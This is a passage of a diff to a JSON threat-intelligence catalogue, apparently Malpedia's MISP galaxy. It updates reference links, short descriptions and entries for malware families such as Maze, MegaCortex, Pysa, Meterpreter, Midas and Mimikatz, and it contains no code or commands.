"https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", @@ -24029,13 +28586,14 @@ "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/", - "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1", "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", "https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", "https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/", - "https://securelist.com/maze-ransomware/99137/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", "https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/", "https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf", "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", @@ -24046,7 +28604,8 @@ "https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html", "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/" + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/" ], "synonyms": [ "ChaCha" @@ -24075,7 +28634,7 @@ "value": "MBRlock" }, { - "description": "", + "description": "Ransomware overwriting the system's MBR, making it impossible to boot into Windows.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlocker", @@ -24161,12 +28720,16 @@ "https://twitter.com/siri_urz/status/1215194488714346496?s=20", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", "https://www.carbonblack.com/2020/06/03/tau-threat-analyis-medusa-locker-ransomware/", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://dissectingmalwa.re/try-not-to-stare-medusalocker-at-a-glance.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-2-analysing-medusalocker-ransomware/", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-3-analysing-medusalocker-ransomware/", "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/part-1-analysing-medusalocker-ransomware/", "https://id-ransomware.blogspot.com/2020/01/ako-ransomware.html", "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", @@ -24188,19 +28751,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", "https://www.trendmicro.com/vinfo/pl/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", "https://blog.malwarebytes.com/detections/ransom-megacortex/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://news.sophos.com/en-us/2019/05/10/megacortex-deconstructed-mysteries-mount-as-analysis-continues/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://www.bleepingcomputer.com/news/security/elusive-megacortex-ransomware-found-here-is-what-we-know/", "https://news.sophos.com/en-us/2019/05/03/megacortex-ransomware-wants-to-be-the-one/", "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://threatpost.com/megacortex-ransomware-mass-distribution/146933/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.bleepingcomputer.com/news/security/new-megacortex-ransomware-changes-windows-passwords-threatens-to-publish-data/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://www.computing.co.uk/ctg/news/3084818/warning-over-lockergoga-and-megacortex-ransomware-attacks-targeting-private-industry-in-western-countries", "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/" ], @@ -24228,10 +28795,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mekotio", - "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", - "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://research.checkpoint.com/2021/mekotio-banker-returns-with-improved-stealth-and-ancient-encryption/", + "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/rooty-dolphin-uses-mekotio-to-target-bank-clients-in-south-america-and-europe/", - "https://therecord.media/spain-arrests-16-for-distributing-the-mekotio-and-grandoreiro-banking-trojans/" + "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.welivesecurity.com/2020/08/13/mekotio-these-arent-the-security-updates-youre-looking-for/", + "https://twitter.com/hpsecurity/status/1509185858146082816", + "http://www.interior.gob.es/prensa/noticias/-/asset_publisher/GHU8Ap6ztgsg/content/id/13552853", + "https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/" ], "synonyms": [], "type": [] @@ -24252,6 +28824,20 @@ "uuid": "e3e289bb-3ac2-4f93-becd-540720501884", "value": "Melcoz" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.mercurialgrabber", + "https://github.com/NightfallGT/Mercurial-Grabber", + "https://twitter.com/Arkbird_SOLG/status/1432127748001128459" + ], + "synonyms": [], + "type": [] + }, + "uuid": "5fa45856-2960-47c4-ad73-df0ff142ae12", + "value": "MercurialGrabber" + }, { "description": "Merlin is a cross-platform post-exploitation HTTP/2 Command & Control server and agent written in golang.", "meta": { @@ -24272,25 +28858,37 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mespinoza", - "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", - "https://www.ic3.gov/Media/News/2021/210316.pdf", - "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", - "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", - "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://twitter.com/campuscodi/status/1347223969984897026", "http://www.secureworks.com/research/threat-profiles/gold-burlap", + "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/", + "https://www.bleepingcomputer.com/news/security/ransomware-gangs-script-shows-exactly-the-files-theyre-after/", + "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", + "https://www.prodaft.com/m/reports/PYSA_TLPWHITE_3.0.pdf", + "https://twitter.com/inversecos/status/1456486725664993287", + "https://www.cybereason.com/blog/threat-analysis-report-inside-the-destructive-pysa-ransomware", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", "https://www.zdnet.com/article/france-warns-of-new-ransomware-gang-targeting-local-governments/", - "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", - "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2020-CTI-002/", + "https://www.ic3.gov/Media/News/2021/210316.pdf", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://id-ransomware.blogspot.com/2019/10/mespinoza-ransomware.html", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://blog.cyble.com/2021/11/29/pysa-ransomware-under-the-lens-a-deep-dive-analysis/", + "https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/", "https://www.lacework.com/blog/pysa-ransomware-gang-adds-linux-support/", - "https://twitter.com/campuscodi/status/1347223969984897026", - "https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/", - "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/" + "https://blogs.blackberry.com/en/2021/06/pysa-loves-chachi-a-new-golang-rat", + "https://www.prodaft.com/resource/detail/pysa-ransomware-group-depth-analysis", + "https://www.hhs.gov/sites/default/files/mespinoza-goldburlap-cyborgspider-analystnote-tlpwhite.pdf", + "https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/", + "https://dissectingmalwa.re/another-one-for-the-collection-mespinoza-pysa-ransomware.html", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3" ], "synonyms": [ "pysa" @@ -24347,6 +28945,7 @@ "https://www.bitdefender.com/files/News/CaseStudies/study/333/Bitdefender-PR-Whitepaper-Metamorfo-creat4500-en-EN-GenericUse.pdf", "https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/metamorfo.md", "https://blog.ensilo.com/metamorfo-avast-abuser", + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-Soucek-Hornak-DemystifyingBankingTrojansFromLatinAmerica.pdf", "https://cofense.com/blog/autohotkey-banking-trojan/", "https://blog.talosintelligence.com/2018/11/metamorfo-brazilian-campaigns.html", @@ -24362,6 +28961,19 @@ "uuid": "18dc3e7a-600d-4e5f-a283-86156b938530", "value": "Metamorfo" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer", + "https://isc.sans.edu/forums/diary/Windows+MetaStealer+Malware/28522/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "9b7758fc-2fca-4b07-b669-34461fc95a67", + "value": "MetaStealer" + }, { "description": "A wiper used in an attack against the Iranian train system.", "meta": { @@ -24382,24 +28994,30 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.meterpreter", - "https://asec.ahnlab.com/ko/26705/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", - "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://www.bleepingcomputer.com/news/security/log4j-vulnerability-now-used-to-install-dridex-banking-malware/", + "https://blog.talosintelligence.com/2022/05/mustang-panda-targets-europe.html", "https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/", - "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", - "https://redcanary.com/blog/getsystem-offsec/", - "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", - "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/how-cybercriminals-abuse-cloud-tunneling-services", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", "https://blog.morphisec.com/fin7-attacks-restaurant-industry", "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://explore.group-ib.com/htct/hi-tech_crime_2018", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", "http://schierlm.users.sourceforge.net/avevasion.html", "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", - "http://www.secureworks.com/research/threat-profiles/gold-winter" + "http://www.secureworks.com/research/threat-profiles/gold-winter", + "https://asec.ahnlab.com/ko/26705/", + "https://redcanary.com/blog/getsystem-offsec/", + "https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf", + "https://www.cynet.com/attack-techniques-hands-on/threats-looming-over-the-horizon/", + "https://www.countercraftsec.com/blog/post/shellcode-detection-using-realtime-kernel-monitoring/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-268a", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/China/APT/Chimera/Analysis.md", + "https://vx-underground.org/archive/APTs/2017/2017.12.11/Money%20Taker.pdf", + "https://cybleinc.com/2020/11/17/oceanlotus-continues-with-its-cyber-espionage-operations/", + "https://www.wired.com/story/russias-fancy-bear-hack-us-federal-agency/", + "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis" ], "synonyms": [], "type": [] @@ -24413,6 +29031,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mevade", "https://www.youtube.com/watch?v=FttiysUZmDw", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/sefnit-trojan-just/", "https://blog.fox-it.com/2013/09/05/large-botnet-cause-of-recent-tor-network-overload/" ], @@ -24480,11 +29099,17 @@ "value": "Micrass" }, { - "description": "Open-source lightweight backdoor for C2 communication. ", + "description": "Open-source lightweight backdoor for C2 communication.\r\nGitHub: https://github.com/Cr4sh/MicroBackdoor", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor", - "https://github.com/cr4sh/microbackdoor" + "https://ti.qianxin.com/blog/articles/Analysis-of-attack-activities-of-suspected-aptorganization-unc1151-against-ukraine-and-other-countries/", + "https://attackiq.com/2022/04/29/attack-graph-response-to-unc1151-continued-targeting-of-ukraine/", + "https://github.com/cr4sh/microbackdoor", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://cluster25.io/2022/03/08/ghostwriter-unc1151-adopts-microbackdoor-variants-in-cyber-operations-against-targets-in-ukraine/", + "https://cert.gov.ua/article/37626" ], "synonyms": [], "type": [] @@ -24515,14 +29140,15 @@ "value": "Microcin" }, { - "description": "", + "description": "This malware written in Delphi is an information stealing malware family dubbed \"MICROPSIA\". It has s wide range of data theft functionality built in.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.micropsia", "https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf", + "https://blog.talosintelligence.com/2022/02/arid-viper-targets-palestine.html", "http://researchcenter.paloaltonetworks.com/2017/04/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/", - "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://research.checkpoint.com/apt-attack-middle-east-big-bang/", + "http://blog.talosintelligence.com/2017/06/palestine-delphi.html", "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/micropsia_apt_c_23.md" ], "synonyms": [], @@ -24531,6 +29157,21 @@ "uuid": "b37f312f-a0b1-41a9-88ae-da2844c19cae", "value": "Micropsia" }, + { + "description": "This malware written in C# is a variant of the Thanos ransomware family and emerged in October 2021 and is obfuscated using SmartAssembly. In 2022, ThreatLabz analysed a report of Midas ransomware was slowly deployed over a two month period (ZScaler). This ransomware features also its own data leak site as part of its double extortion strategy.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.midas", + "https://news.sophos.com/en-us/2022/01/25/windows-services-lay-the-groundwork-for-a-midas-ransomware-attack/", + "https://securityboulevard.com/2022/03/midas-ransomware-tracing-the-evolution-of-thanos-ransomware-variants/", + "https://www.zscaler.com/blogs/security-research/midas-ransomware-tracing-evolution-thanos-ransomware-variants" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e5043a7f-2c38-4015-978e-253a7cdbda97", + "value": "Midas" + }, { "description": "", "meta": { @@ -24549,6 +29190,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.milan", + "https://www.prevailion.com/latest-targets-of-cyber-group-lyceum/", "https://www.clearskysec.com/wp-content/uploads/2021/08/Siamesekitten.pdf" ], "synonyms": [], @@ -24586,85 +29228,116 @@ "value": "Milum" }, { - "description": "", + "description": "Varonis summarizes Mimikatz as an open-source application that allows users to view and save authentication credentials like Kerberos tickets. Benjamin Delpy continues to lead Mimikatz developments, so the toolset works with the current release of Windows and includes the most up-to-date attacks.\r\n\r\nAttackers commonly use Mimikatz to steal credentials and escalate privileges: in most cases, endpoint protection software and anti-virus systems will detect and delete it. Conversely, pentesters use Mimikatz to detect and exploit vulnerabilities in your networks so you can fix them.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mimikatz", - "https://blog.xpnsec.com/exploring-mimikatz-part-1/", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", - "http://www.secureworks.com/research/threat-profiles/gold-burlap", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-kingswood", - "http://www.secureworks.com/research/threat-profiles/gold-kingswood", - "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", - "https://www.secureworks.com/research/samsam-ransomware-campaigns", - "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5758557d-6e3a-4174-90f3-fa92a712ecd9&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", - "https://www.ic3.gov/Media/News/2021/210527.pdf", - "https://www.ic3.gov/Media/News/2021/210823.pdf", "https://www.rsa.com/content/dam/en/white-paper/the-shadows-of-ghosts-carbanak-report.pdf", - "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", - "https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", "https://www.verfassungsschutz.de/download/broschuere-2021-01-bfv-cyber-brief-2021-01.pdf", "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", - "http://www.secureworks.com/research/threat-profiles/gold-franklin", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.ic3.gov/media/news/2020/200917-1.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", - "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", "https://www.slideshare.net/yurikamuraki5/active-directory-240348605", - "https://github.com/gentilkiwi/mimikatz", - "https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two", "https://www.f-secure.com/content/dam/f-secure/en/consulting/our-thinking/collaterals/digital/f-secure-consulting-incident-readiness-proactive-response-guide-2020.pdf", + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", + "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", + "https://assets.virustotal.com/reports/2021trends.pdf", + "https://www.varonis.com/blog/hive-ransomware-analysis", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-152A_Karakurt_Data_Extortion_Group.pdf", + "https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/Vorfaelle/Exchange-Schwachstellen-2021/MSExchange_Schwachstelle_Detektion_Reaktion.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/locked-loaded-and-in-the-wrong-hands-legitimate-tools-weaponized-for-ransomware-in-2021", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-china-ngo-government-attacks", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://hub.dragos.com/hubfs/116-Whitepapers/Dragos_Intel_WP_InitAccess-IndEnvirons-Final.pdf", + "https://www.crowdstrike.com/blog/overwatch-elite-call-escalation-vital-to-containing-attack/", + "https://twitter.com/inversecos/status/1456486725664993287", + "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", + "https://twitter.com/swisscom_csirt/status/1354052879158571008", + "http://www.secureworks.com/research/threat-profiles/gold-franklin", + "https://labs.f-secure.com/blog/catching-lazarus-threat-intelligence-to-real-detection-logic-part-two", "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", "https://news.sophos.com/en-us/2021/05/18/the-active-adversary-playbook-2021/?cmp=37153", - "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-152a", + "https://noticeofpleadings.com/nickel/#", + "https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html", + "https://www.theta.co.nz/news-blogs/cyber-security-blog/snakes-ladders-the-offensive-use-of-python-on-windows/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "http://www.secureworks.com/research/threat-profiles/gold-drake", + "https://lab52.io/blog/the-energy-reserves-in-the-eastern-mediterranean-sea-and-a-malicious-campaign-of-apt10-against-turkey/", + "https://www.matteomalvica.com/blog/2020/01/30/mimikatz-lsass-dump-windg-pykd/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/china-apt-antlion-taiwan-financial-attacks", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", + "https://blog.xpnsec.com/exploring-mimikatz-part-1/", + "http://www.secureworks.com/research/threat-profiles/gold-burlap", "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://twitter.com/swisscom_csirt/status/1354052879158571008", - "https://www.secureworks.com/research/threat-profiles/gold-drake", - "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", - "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", - "https://www.crowdstrike.com/blog/credential-theft-mimikatz-techniques/", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", - "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf", - "https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/microsoft-exchange-server-protection", - "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "https://www.ic3.gov/Media/News/2021/210527.pdf", + "https://www.ic3.gov/Media/News/2021/210823.pdf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://www.wired.com/story/how-mimikatz-became-go-to-hacker-tool/", + "https://www.ic3.gov/media/news/2020/200917-1.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-hickman", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", + "https://ics-cert.kaspersky.com/media/KASPERSKY_Steganography_in_targeted_attacks_EN.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", "https://www.hvs-consulting.de/lazarus-report/", - "https://www.devo.com/blog/detect-and-investigate-hafnium-using-devo/", + "https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html", + "https://www.secureworks.com/research/samsam-ransomware-campaigns", + "https://www.infinitumit.com.tr/en/conti-ransomware-group-behind-the-karakurt-hacking-team/", + "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices/", + "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe/", + 